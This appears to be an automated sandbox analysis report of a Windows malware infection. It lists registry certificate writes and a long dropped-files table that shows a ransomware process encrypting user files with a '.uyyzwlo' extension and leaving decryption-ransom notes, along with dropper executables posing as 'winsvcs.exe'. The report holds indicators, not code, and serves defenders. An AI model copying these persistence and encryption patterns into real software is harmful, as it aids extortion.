2E311730150603550403130E44535420526F6F74204341205833301E170D3030303933303231313231395A170D3231303933303134303131355A303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F2E311730150603550403130E44535420526F6F7420434120583330820122300D06092A864886F70D01010105000382010F003082010A0282010100DFAFE99750088357B4CC6265F69082ECC7D32C6B30CA5BECD9C37DC740C118148BE0E83376492AE33F214993AC4E0EAF3E48CB65EEFCD3210F65D22AD9328F8CE5F777B0127BB595C089A3A9BAED732E7A0C063283A27E8A1430CD11A0E12A38B9790A31FD50BD8065DFB7516383C8E28861EA4B6181EC526BB9A2E24B1A289F48A39E0CDA098E3E172E1EDD20DF5BC62A8AAB2EBD70ADC50B1A25907472C57B6AAB34D63089FFE568137B540BC8D6AEEC5A9C921E3D64B38CC6DFBFC94170EC1672D526EC38553943D0FCFD185C40F197EBD59A9B8D1DBADA25B9C6D8DFC115023AABDA6EF13E2EF55C089C3CD68369E4109B192AB62957E3E53D9B9FF0025D0203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020106301D0603551D0E04160414C4A7B1A47B2C71FADBE14B9075FFC41560858910300D06092A864886F70D01010505000382010100A31A2C9B17005CA91EEE2866373ABF83C73F4BC309A095205DE3D95944D23E0D3EBD8A4BA0741FCE10829C741A1D7E981ADDCB134BB32044E491E9CCFC7DA5DB6AE5FEE6FDE04EDDB7003AB57049AFF2E5EB02F1D1028B19CB943A5E48C4181E58195F1E025AF00CF1B1ADA9DC59868B6EE991F586CAFAB96633AA595BCEE2A7167347CB2BCC99B03748CFE3564BF5CF0F0C723287C6F044BB53726D43F526489A5267B758ABFE67767178DB0DA256141339243185A2A8025A3047E1DD5007BC02099000EB6463609B16BC88C912E6D27D918BF93D328D65B4E97CB15776EAC5B62839BF15651CC8F677966A0A8D770BD8910B048E07DB29B60AEE9D82353510
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD
Blob
040000000100000010000000C5DFB849CA051355EE2DBA1AC33EB0280F00000001000000200000005229BA15B31B0C6F4CCA89C2985177974327D1B689A3B935A0BD975532AF22AB090000000100000054000000305206082B0601050507030106082B0601050507030206082B0601050507030306082B0601050507030406082B06010505070308060A2B0601040182370A030406082B0601050507030606082B060105050703070B000000010000003000000047006C006F00620061006C005300690067006E00200052006F006F00740020004300410020002D0020005200330000005300000001000000230000003021301F06092B06010401A032010130123010060A2B0601040182373C0101030200C0620000000100000020000000CBB522D7B7F127AD6A0113865BDF1CD4102E7D0759AF635A7CF4720DC963C53B1400000001000000140000008FF04B7FA82E4524AE4D50FA639A8BDEE2DD1BBC1D000000010000001000000001728E1ECF7A9D86FB3CEC8948ABA953030000000100000014000000D69B561148F01C77C54578C10926DF5B856976AD190000000100000010000000D0FD3C9C380D7B65E26B9A3FEDD39B8F2000000001000000630300003082035F30820247A003020102020B04000000000121585308A2300D06092A864886F70D01010B0500304C3120301E060355040B1317476C6F62616C5369676E20526F6F74204341202D20523331133011060355040A130A476C6F62616C5369676E311330110603550403130A476C6F62616C5369676E301E170D3039303331383130303030305A170D3239303331383130303030305A304C3120301E060355040B1317476C6F62616C5369676E20526F6F74204341202D20523331133011060355040A130A476C6F62616C5369676E311330110603550403130A476C6F62616C5369676E30820122300D06092A864886F70D01010105000382010F003082010A0282010100CC2576907906782216F5C083B684CA289EFD057611C5AD8872FC460243C7B28A9D045F24CB2E4BE1608246E152AB0C8147706CDD64D1EBF52CA30F823D0C2BAE97D7B614861079BB3B1380778C08E149D26A622F1F5EFA9668DF892795389F06D73EC9CB26590D73DEB0C8E9260E8315C6EF5B8BD20460CA49A628F6693BF6CBC82891E59D8A615737AC7414DC74E03AEE722F2E9CFBD0BBBFF53D00E10633E8822BAE53A63A16738CDD410E203AC0B4A7A1E9B24F902E3260E957CBB904926868E538266075B29F77FF9114EFAE2049FCAD401548D1023161195EB897EFAD77B7649A7ABF5FC113EF9B62FB0D6CE0546916A903DA6EE983937176C6698582170203010001A3423040300E0603551D0F0101FF040403020106300F0603551D130101FF040530030101FF301D0603551D0E041604148FF04B7FA82E4524AE4D50FA639A8BDEE2DD1BBC300D06092A864886F70D01010B050003820101004B40DBC050AAFEC80CEFF796544549BB96000941ACB3138686280733CA6BE674B9BA002DAEA40AD3F5F1F10F8ABF73674A83C7447B78E0AF6E6C6F03298E333945C38EE4B9576CAAFC1296EC53C62DE4246CB99463FBDC536867563E83B8CF3521C3C968FECEDAC253AACC908AE9F05D468C95DD7A58281A2F1DDECD0037418FED446DD75328977EF367041E15D78A96B4D3DE4C27A44C1B737376F41799C21F7A0EE32D08AD0A1C2CFF3CAB550E0F917E36EBC35749BEE12E2D7C608BC3415113239DCEF7326B9401A899E72C331F3A3B25D28640CE3B2C8678C9612F14BAEEDB556FDF84EE05094DBD28D872CED36250651EEB92978331D9B3B5CA47583F5F
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
Blob
0F00000001000000200000004B4EB4B074298B828B5C003095A10B4523FB951C0C88348B09C53E5BABA408A3090000000100000034000000303206082B0601050507030106082B0601050507030206082B0601050507030406082B0601050507030306082B060105050703080B000000010000003000000044006900670069004300650072007400200047006C006F00620061006C00200052006F006F00740020004700320000005300000001000000230000003021301F06096086480186FD6C020130123010060A2B0601040182373C0101030200C0620000000100000020000000CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F1400000001000000140000004E2254201895E6E36EE60FFAFAB912ED06178F391D00000001000000100000007DC30BC974695560A2F0090A6545556C030000000100000014000000DF3C24F9BFD666761B268073FE06D1CC8D4F82A42000000001000000920300003082038E30820276A0030201020210033AF1E6A711A9A0BB2864B11D09FAE5300D06092A864886F70D01010B05003061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F74204732301E170D3133303830313132303030305A170D3338303131353132303030305A3061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F7420473230820122300D06092A864886F70D01010105000382010F003082010A0282010100BB37CD34DC7B6BC9B26890AD4A75FF46BA210A088DF51954C9FB88DBF3AEF23A89913C7AE6AB061A6BCFAC2DE85E092444BA629A7ED6A3A87EE054752005AC50B79C631A6C30DCDA1F19B1D71EDEFDD7E0CB948337AEEC1F434EDD7B2CD2BD2EA52FE4A9B8AD3AD499A4B625E99B6B00609260FF4F214918F76790AB61069C8FF2BAE9B4E992326BB5F357E85D1BCD8C1DAB95049549F3352D96E3496DDD77E3FB494BB4AC5507A98F95B3B423BB4C6D45F0F6A9B29530B4FD4C558C274A57147C829DCD7392D3164A060C8C50D18F1E09BE17A1E621CAFD83E510BC83A50AC46728F67314143D4676C387148921344DAF0F450CA649A1BABB9CC5B1338329850203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020186301D0603551D0E041604144E2254201895E6E36EE60FFAFAB912ED06178F39300D06092A864886F70D01010B05000382010100606728946F0E4863EB31DDEA6718D5897D3CC58B4A7FE9BEDB2B17DFB05F73772A3213398167428423F2456735EC88BFF88FB0610C34A4AE204C84C6DBF835E176D9DFA642BBC74408867F3674245ADA6C0D145935BDF249DDB61FC9B30D472A3D992FBB5CBBB5D420E1995F534615DB689BF0F330D53E31E28D849EE38ADADA963E3513A55FF0F970507047411157194EC08FAE06C49513172F1B259F75F2B18E99A16F13B14171FE882AC84F102055D7F31445E5E044F4EA879532930EFE5346FA2C9DFF8B22B94BD90945A4DEA4B89A58DD1B7D529F8E59438881A49E26D56FADDD0DC6377DED03921BE5775F76EE3C8DC45D565BA2D9666EB33537E532B6
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
Blob
040000000100000010000000E4A68AC854AC5242460AFD72481B2A44090000000100000034000000303206082B0601050507030106082B0601050507030206082B0601050507030406082B0601050507030306082B060105050703080B000000010000003000000044006900670069004300650072007400200047006C006F00620061006C00200052006F006F00740020004700320000005300000001000000230000003021301F06096086480186FD6C020130123010060A2B0601040182373C0101030200C0620000000100000020000000CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F1400000001000000140000004E2254201895E6E36EE60FFAFAB912ED06178F391D00000001000000100000007DC30BC974695560A2F0090A6545556C030000000100000014000000DF3C24F9BFD666761B268073FE06D1CC8D4F82A42000000001000000920300003082038E30820276A0030201020210033AF1E6A711A9A0BB2864B11D09FAE5300D06092A864886F70D01010B05003061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F74204732301E170D3133303830313132303030305A170D3338303131353132303030305A3061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F7420473230820122300D06092A864886F70D01010105000382010F003082010A0282010100BB37CD34DC7B6BC9B26890AD4A75FF46BA210A088DF51954C9FB88DBF3AEF23A89913C7AE6AB061A6BCFAC2DE85E092444BA629A7ED6A3A87EE054752005AC50B79C631A6C30DCDA1F19B1D71EDEFDD7E0CB948337AEEC1F434EDD7B2CD2BD2EA52FE4A9B8AD3AD499A4B625E99B6B00609260FF4F214918F76790AB61069C8FF2BAE9B4E992326BB5F357E85D1BCD8C1DAB95049549F3352D96E3496DDD77E3FB494BB4AC5507A98F95B3B423BB4C6D45F0F6A9B29530B4FD4C558C274A57147C829DCD7392D3164A060C8C50D18F1E09BE17A1E621CAFD83E510BC83A50AC46728F67314143D4676C387148921344DAF0F450CA649A1BABB9CC5B1338329850203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020186301D0603551D0E041604144E2254201895E6E36EE60FFAFAB912ED06178F39300D06092A864886F70D01010B05000382010100606728946F0E4863EB31DDEA6718D5897D3CC58B4A7FE9BEDB2B17DFB05F73772A3213398167428423F2456735EC88BFF88FB0610C34A4AE204C84C6DBF835E176D9DFA642BBC74408867F3674245ADA6C0D145935BDF249DDB61FC9B30D472A3D992FBB5CBBB5D420E1995F534615DB689BF0F330D53E31E28D849EE38ADADA963E3513A55FF0F970507047411157194EC08FAE06C49513172F1B259F75F2B18E99A16F13B14171FE882AC84F102055D7F31445E5E044F4EA879532930EFE5346FA2C9DFF8B22B94BD90945A4DEA4B89A58DD1B7D529F8E59438881A49E26D56FADDD0DC6377DED03921BE5775F76EE3C8DC45D565BA2D9666EB33537E532B6
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
Blob
19000000010000001000000014C3BD3549EE225AECE13734AD8CA0B8090000000100000034000000303206082B0601050507030106082B0601050507030206082B0601050507030406082B0601050507030306082B060105050703080B000000010000003000000044006900670069004300650072007400200047006C006F00620061006C00200052006F006F00740020004700320000005300000001000000230000003021301F06096086480186FD6C020130123010060A2B0601040182373C0101030200C0620000000100000020000000CB3CCBB76031E5E0138F8DD39A23F9DE47FFC35E43C1144CEA27D46A5AB1CB5F1400000001000000140000004E2254201895E6E36EE60FFAFAB912ED06178F391D00000001000000100000007DC30BC974695560A2F0090A6545556C030000000100000014000000DF3C24F9BFD666761B268073FE06D1CC8D4F82A42000000001000000920300003082038E30820276A0030201020210033AF1E6A711A9A0BB2864B11D09FAE5300D06092A864886F70D01010B05003061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F74204732301E170D3133303830313132303030305A170D3338303131353132303030305A3061310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3120301E06035504031317446967694365727420476C6F62616C20526F6F7420473230820122300D06092A864886F70D01010105000382010F003082010A0282010100BB37CD34DC7B6BC9B26890AD4A75FF46BA210A088DF51954C9FB88DBF3AEF23A89913C7AE6AB061A6BCFAC2DE85E092444BA629A7ED6A3A87EE054752005AC50B79C631A6C30DCDA1F19B1D71EDEFDD7E0CB948337AEEC1F434EDD7B2CD2BD2EA52FE4A9B8AD3AD499A4B625E99B6B00609260FF4F214918F76790AB61069C8FF2BAE9B4E992326BB5F357E85D1BCD8C1DAB95049549F3352D96E3496DDD77E3FB494BB4AC5507A98F95B3B423BB4C6D45F0F6A9B29530B4FD4C558C274A57147C829DCD7392D3164A060C8C50D18F1E09BE17A1E621CAFD83E510BC83A50AC46728F67314143D4676C387148921344DAF0F450CA649A1BABB9CC5B1338329850203010001A3423040300F0603551D130101FF040530030101FF300E0603551D0F0101FF040403020186301D0603551D0E041604144E2254201895E6E36EE60FFAFAB912ED06178F39300D06092A864886F70D01010B05000382010100606728946F0E4863EB31DDEA6718D5897D3CC58B4A7FE9BEDB2B17DFB05F73772A3213398167428423F2456735EC88BFF88FB0610C34A4AE204C84C6DBF835E176D9DFA642BBC74408867F3674245ADA6C0D145935BDF249DDB61FC9B30D472A3D992FBB5CBBB5D420E1995F534615DB689BF0F330D53E31E28D849EE38ADADA963E3513A55FF0F970507047411157194EC08FAE06C49513172F1B259F75F2B18E99A16F13B14171FE882AC84F102055D7F31445E5E044F4EA879532930EFE5346FA2C9DFF8B22B94BD90945A4DEA4B89A58DD1B7D529F8E59438881A49E26D56FADDD0DC6377DED03921BE5775F76EE3C8DC45D565BA2D9666EB33537E532B6

Files activity

Executable files
14
Suspicious files
283
Text files
213
Unknown types
11

Dropped files

PID Process Filename Type
3248 powershell.exe C:\Users\admin\AppData\Local\Temp\979574639568794.exe executable
2828 winsvcs.exe C:\Users\admin\AppData\Local\Temp\1218740417.exe executable
3464 1993934968.exe C:\Users\admin\657607470096780\winsvcs.exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Temp\1473236908.exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\2[1].exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0UU90R59\1[2].exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0UU90R59\1[1].exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Temp\1513826834.exe executable
3296 979574639568794.exe C:\Users\admin\495030305060\winsvcs.exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Temp\3588437294.exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Temp\3528913375.exe executable
2236 1473236908.exe C:\Users\admin\4950606094303050\wincfg32svc.exe executable
2828 winsvcs.exe C:\Users\admin\AppData\Local\Temp\1739338477.exe executable
2800 winsvcs.exe C:\Users\admin\AppData\Local\Temp\1993934968.exe executable
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[2].txt text
2544 3528913375.exe C:\Users\admin\AppData\Local\Temp\pidor.bmp image
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[2].txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[1].txt ––
2544 3528913375.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 binary
2544 3528913375.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv ––
2544 3528913375.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.uyyzwlo ––
2544 3528913375.exe C:\Users\Public\Videos\Sample Videos\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv.uyyzwlo ––
2544 3528913375.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv ––
2544 3528913375.exe C:\Users\Public\Recorded TV\Sample Media\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Recorded TV\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg ––
2544 3528913375.exe C:\Users\Public\Pictures\Sample Pictures\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3.uyyzwlo ––
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3 ––
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3 ––
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3.uyyzwlo ––
2544 3528913375.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3 ––
2544 3528913375.exe C:\Users\Public\Music\Sample Music\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Libraries\RecordedTV.library-ms.uyyzwlo binary
2544 3528913375.exe C:\Users\Public\Libraries\RecordedTV.library-ms ––
2544 3528913375.exe C:\Users\Public\Libraries\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Pictures\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Videos\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Downloads\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Documents\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Music\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\Public\Favorites\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\SendTo\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Searches\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Pictures\statesuses.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Saved Games\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Pictures\statesuses.png ––
2544 3528913375.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms ––
2544 3528913375.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms ––
2544 3528913375.exe C:\Users\admin\Pictures\incomeaccounts.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Pictures\letdriver.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Pictures\perfectest.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Pictures\referencecart.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Pictures\letdriver.png ––
2544 3528913375.exe C:\Users\admin\Pictures\incomeaccounts.jpg ––
2544 3528913375.exe C:\Users\admin\Pictures\referencecart.png ––
2544 3528913375.exe C:\Users\admin\Pictures\perfectest.jpg ––
2544 3528913375.exe C:\Users\admin\ntuser.ini.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\ntuser.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Links\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url ––
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\MSN Websites\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Links for United States\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\Links\Suggested Sites.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Links\Suggested Sites.url ––
2544 3528913375.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url ––
2544 3528913375.exe C:\Users\admin\Downloads\storesbusiness.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Downloads\seemsdriver.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Downloads\optionalc.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Favorites\Links\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Favorites\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Downloads\seemsdriver.png ––
2544 3528913375.exe C:\Users\admin\Downloads\storesbusiness.jpg ––
2544 3528913375.exe C:\Users\admin\Downloads\optionalc.jpg ––
2544 3528913375.exe C:\Users\admin\Documents\workfunctions.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Downloads\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Downloads\downloadshardware.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\probablyconnection.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Downloads\clicku.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\particularlynon.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Downloads\clicku.jpg ––
2544 3528913375.exe C:\Users\admin\Downloads\downloadshardware.png ––
2544 3528913375.exe C:\Users\admin\Documents\workfunctions.rtf ––
2544 3528913375.exe C:\Users\admin\Documents\probablyconnection.rtf ––
2544 3528913375.exe C:\Users\admin\Documents\particularlynon.rtf ––
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp ––
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - test.pst ––
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook.pst ––
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst ––
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\Outlook Data File - NoMail.pst ––
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\Outlook Files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Unfiled Notes.one ––
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\Open Notebook.onetoc2 ––
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\General.one ––
2544 3528913375.exe C:\Users\admin\Pictures\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Documents\nakedsearch.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\livesuntil.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Videos\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Music\UYYZWLO-DECRYPT.txt text
